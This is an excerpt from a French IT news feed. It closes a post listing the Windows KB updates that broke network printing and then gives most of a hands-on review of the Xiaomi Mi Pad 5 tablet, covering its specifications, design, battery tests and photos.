<p>- La seule solution pour le moment serait de<strong> désinstaller la mise à jour sur vos machines</strong>, en attendant d'avoir une réaction de la part de Microsoft.</p>
<p>En fonction de votre système d'exploitation, voici la KB qui est à l'origine de ce dysfonctionnement :</p>
<p>- Windows Server 2019 : KB5005568<br />
- Windows Server 2012 R2 : KB5005613<br />
- Windows Server 2012 R2 : KB5005627<br />
- Windows Server 2012 : KB5005623<br />
- Windows Server 2012 : KB5005607<br />
- Windows Server 2008 R2 : KB5005615<br />
- Windows Server 2008 : KB5005606<br />
- Windows Server 2008 : KB5005618<br />
- Windows 10 2004, 20H2 et 21H1 : KB5005565<br />
- Windows 10 1909 : KB5005566<br />
- Windows 7 : KB5005615</p>
<p><strong>Avez-vous constaté ce problème de votre côté ?</strong></p>
<p><a href="https://www.bleepingcomputer.com/news/security/new-windows-security-updates-break-network-printing/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/windows-la-mise-a-jour-de-septembre-cree-des-problemes-avec-les-impressions/">Windows : la mise à jour de septembre crée des problèmes avec les impressions !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46025
title: Test Xiaomi Mi Pad 5 : une tablette 11 pouces très séduisante !
uri: Test-Xiaomi-Mi-Pad-5-une-tablette-11-pouces-très-séduisante
url: https://www.it-connect.fr/test-xiaomi-mi-pad-5-une-tablette-11-pouces-tres-seduisante/
content:
<h2>I. Présentation</h2>
<p><strong>Xiaomi est de retour sur le marché des tablettes après plusieurs années d'absence !</strong> Le fabricant chinois a dévoilé deux nouvelles tablettes qui pourraient bien faire de l'ombre à l'iPad de chez Apple. En tout cas, c'est ce que dit le fondateur de Xiaomi, Lei Jui. Au programme, nous avons le droit à deux modèles : Xiaomi Mi Pad 5 (disponible en France) et Xiaomi Mi Pad 5 Pro (non prévue à l'internationale). Dans cet article, je vous propose le <strong>test de la Xiaomi Mi Pad 5</strong>, un modèle 11 pouces !</p>
<p>Avant d'aller plus loin, voici les caractéristiques techniques de cette tablette qui vise le milieu de gamme :</p>
<ul>
<li><strong>Écran</strong> : 11 pouces, WQHD+ (2560 x 1600 px) avec un taux de rafraichissement à 120 Hz, compatible Dolby Vision</li>
<li><strong>Processeur</strong> : Qualcomm Snapdragon 860 (8 cœurs)</li>
<li><strong>RAM</strong> : 6 Go</li>
<li><strong>Stockage interne</strong> : 128 Go</li>
<li><strong>Audio stéréo</strong> avec 4 haut-parleurs, compatible Dolby Atmos, Hi-Res Audio</li>
<li><strong>Module photo avant</strong> : un capteur de 8 mpx - vidéo 1080p @ 30 fps</li>
<li><strong>Module photo arrière</strong> : un capteur de 13 mpx - vidéo 4K @30 fps</li>
<li><strong>Connectivité</strong> : Bluetooth 5.0, Wi-Fi 802.11a/b/g/n/ac</li>
<li><strong>Batterie</strong> de 8 720 mAh</li>
<li><strong>Chargeur</strong> de 22,5 Watts</li>
<li><strong>Poids</strong> : 511 grammes</li>
<li><strong>Prix</strong> : 349 euros pour le modèle 128 Go et 399 euros pour 256 Go de stockage</li>
</ul>
<p>Quand l'on regarde la fiche technique et que l'on voit le tarif, on se dit que cette tablette pourrait bien s'imposer comme une référence. Est-ce réellement le cas ?</p>
<h2>II. Découverte de la tablette Mi Pad 5</h2>
<p>La boîte est plutôt sobre et ne donne pas vraiment d'informations sur la tablette : il ne reste plus qu'à l'ouvrir pour en savoir plus. À l'intérieur, nous retrouvons la tablette Mi Pad 5 bien sûr, ainsi qu'un guide de démarrage (français), le chargeur officiel et son câble USB-C. Il est à noter que <strong>le stylet Smart Pen est vendu séparément.</strong></p>

<a href="media/6d29512b.test-xiaomi-mi-pad-5-package-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02.jpg"><img width="1000" height="752" src="media/6d29512b.test-xiaomi-mi-pad-5-package-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-02-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a>
<a href="media/23903519.test-xiaomi-mi-pad-5-package-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01.jpg"><img width="1000" height="752" src="media/23903519.test-xiaomi-mi-pad-5-package-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-01-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a>
<a href="media/902309f4.test-xiaomi-mi-pad-5-package-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03.jpg"><img width="1000" height="752" src="media/902309f4.test-xiaomi-mi-pad-5-package-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-package-03-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a>

<p>Dans cet article, je vous présente la version blanche de la tablette Mi Pad 5, mais elle est disponible en noir également. <strong>Ma première impression est bonne : la tablette est légère en main, l'écran de 11 pouces fait son petit effet et le dos blanc avec de beaux reflets est très classe !</strong></p>
<p>Le dos de la tablette est logoté "Xiaomi" et nous retrouvons le module photo, avec un seul capteur et le flash. Et oui, au premier coup d'œil,<strong> on pourrait croire que la tablette dispose de deux capteurs photo à l'arrière, mais ce n'est pas le cas ! </strong>Par contre, il faudra acheter une coque de protection pour la tablette, car le module photo arrière dépasse un peu trop à mon goût.</p>
<p>À l'avant, nous avons l'écran avec ses bords noirs que je trouve un peu épais. La caméra frontale est située au centre de la bordure supérieure de la tablette, qui d'ailleurs est pensée pour être <strong>tenue à la verticale</strong>.</p>

<a href="media/70b799a4.test-xiaomi-mi-pad-5-tablette-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01.jpg"><img width="1200" height="902" src="media/70b799a4.test-xiaomi-mi-pad-5-tablette-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-01-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>
<a href="media/79e22103.test-xiaomi-mi-pad-5-tablette-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02.jpg"><img width="1200" height="902" src="media/79e22103.test-xiaomi-mi-pad-5-tablette-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-02-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>
<a href="media/7b405a98.test-xiaomi-mi-pad-5-tablette-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03.jpg"><img width="1200" height="902" src="media/7b405a98.test-xiaomi-mi-pad-5-tablette-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-03-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>
<a href="media/2fc531c5.test-xiaomi-mi-pad-5-tablette-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04.jpg"><img width="1200" height="902" src="media/2fc531c5.test-xiaomi-mi-pad-5-tablette-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-04-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>
<a href="media/229c77ad.test-xiaomi-mi-pad-5-tablette-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05.jpg"><img width="1200" height="902" src="media/229c77ad.test-xiaomi-mi-pad-5-tablette-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-05-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>
<a href="media/81b17e6c.test-xiaomi-mi-pad-5-tablette-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06.jpg"><img width="1200" height="902" src="media/81b17e6c.test-xiaomi-mi-pad-5-tablette-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-06-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>

<p>Si l'on regarde les différents côtés de la tablette, on peut découvrir les <strong>quatre haut-parleurs : 2 sur le dessus, 2 sur le dessous</strong> et ils sont facilement visibles, car ils sont assez larges. Pour la partie <strong>microphone, il y en a deux</strong> : 1 sur le dessus et un sur le dessous.</p>
<p>Sur l'un des côtés, nous avons <strong>l'emplacement pour venir positionner le stylet Xiaomi Smart Pen</strong> afin de le recharger, mais je vous rappelle qu'il n'est pas fourni avec la tablette. De l'autre côté, nous avons un connecteur pour le clavier Xiaomi, qui est vendu séparément aussi.</p>
<p>Concernant les boutons, il y a<strong> un bouton on/off sur le dessus de la tablette</strong>, et sur le côté droit, au-dessus de l'emplacement pour le stylet, on retrouve<strong> un bouton pour gérer le volume</strong>. Les deux boutons sont assez proches l'un de l'autre, ce qui permet de prendre des copies d'écran à une seule main, par exemple.</p>
<p><strong>Remarque</strong> : si vous décidez d'utiliser la tablette en mode desktop avec un clavier, le capteur frontal qui peut servir de caméra pour vos visioconférences basculera sur le côté.</p>
<p>Au final, certains diront qu'il manque trois choses : le port Jack, une LED de notification et la possibilité d'ajouter une carte microSD pour étendre le stockage.</p>
<p>On aurait pu ajouter <strong>un quatrième élément manquant : le lecteur d'empreintes</strong>, car il n'y en a pas, que ce soit à l'arrière, sur le côté, ou sous l'écran. Par contre, <strong>la reconnaissance faciale est disponibl</strong>e et elle est réactive, on peut dire que ça compense bien !</p>

<a href="media/e103eb11.test-xiaomi-mi-pad-5-tablette-07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07.jpg"><img width="1200" height="902" src="media/e103eb11.test-xiaomi-mi-pad-5-tablette-07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-07-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>
<a href="media/0f200e81.test-xiaomi-mi-pad-5-tablette-08.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08.jpg"><img width="1200" height="902" src="media/0f200e81.test-xiaomi-mi-pad-5-tablette-08.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-08-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>
<a href="media/0d5f0087.test-xiaomi-mi-pad-5-tablette-09.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09.jpg"><img width="1200" height="902" src="media/0d5f0087.test-xiaomi-mi-pad-5-tablette-09.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-09-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>

<p>Malgré que ce ne soit pas un écran OLED, mais bien un écran LED, la qualité d'affichage est satisfaisante. Le rendu des couleurs est bon et la luminosité correcte, mais il ne faudrait pas moins.</p>

<a href="media/91523b5d.test-xiaomi-mi-pad-5-tablette-10.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10.jpg"><img width="1200" height="902" src="media/91523b5d.test-xiaomi-mi-pad-5-tablette-10.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-10-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>
<a href="media/e45a6f7d.test-xiaomi-mi-pad-5-tablette-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11.jpg"><img width="1200" height="902" src="media/e45a6f7d.test-xiaomi-mi-pad-5-tablette-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-11-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a>

<h2>III. L'autonomie, ça donne quoi ?</h2>
<p>Sur le papier, Xiaomi annonce une autonomie de plus de <strong>16 heures pour la lecture vidéo</strong>, plus de <strong>10 heures pour les jeux</strong> et plus de <strong>5 jours pour écouter de la musique</strong>. Qu'en est-il dans la pratique ?</p>
<p><img class="aligncenter size-large wp-image-46219" src="media/4df4f5e8.test-xiaomi-mi-pad-5-tablette-13-800x601.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-13-800x601.jpg" alt="" width="800" height="601" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-13-800x601.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-13-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-13-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-13-768x577.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-13-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-13-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/test-xiaomi-mi-pad-5-tablette-13.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<ul>
<li><strong>Le streaming vidéo</strong></li>
</ul>
<p>Pour mesurer l'autonomie en streaming, j'ai mis la tablette avec la luminosité de l'écran au maximum (indispensable pour bien voir en pleine journée), le volume à 50% et j'ai regardé plusieurs films en streaming via Internet.</p>
<p><strong>Résultat, la tablette est passée de 100% à 0% au bout de 5h45 de streaming non-stop ! </strong>On est loin des 16 heures annoncées par Xiaomi.</p>
<p>Reste à savoir comment Xiaomi a effectué ses mesures, mais il est certain que la lecture locale ou en streaming via Internet, ça ne consomme pas la batterie de la même façon.</p>
<p>Il est à noter que le streaming vidéo sur Netflix et Disney+ supporte la qualité HD, ce qui est à préciser.</p>
<ul>
<li><strong>Streaming audio</strong></li>
</ul>
<p>Pour la lecture audio, j'ai utilisé Spotify avec le volume de la tablette à 60%. Ce que je peux vous dire, c'est qu'<strong>au bout de 10 heures de streaming, la batterie est passée de 100% à 81%.</strong> Cela laisse penser qu'on peut utiliser la batterie pendant plusieurs jours pour écouter de la musique.</p>
<ul>
<li><strong>Temps de charge</strong></li>
</ul>
<p>La tablette Mi Pad 5 a besoin de <strong>2 heures</strong> pour passer de 0% à 100% de batterie.</p>
<h2>IV. Qualité des photos</h2>
<p>J'ai pris quelques photos avec la tablette, principalement avec le capteur arrière, afin d'évaluer la partie photo de ce modèle. Voici trois photos, prises dans les mêmes conditions. La troisième photo a été prise avec le HDR actif, ce qui a permis de bien éclairer l'arbre sur la photo, sinon il était sombre et en contraste vis-à-vis du ciel.</p>

<a href="media/850572d7.xiaomi-mi-pad-5-exemple-photo-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02.jpg"><img width="890" height="1200" src="media/850572d7.xiaomi-mi-pad-5-exemple-photo-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02.jpg" class="attachment-full size-full" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02.jpg 890w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02-550x742.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02-800x1079.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02-111x150.jpg 111w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02-768x1036.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02-119x160.jpg 119w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/xiaomi-mi-pad-5-exemple-photo-02-37x50.jpg 37w" sizes="(max-width: 890px) 100vw, 890px" /></a>
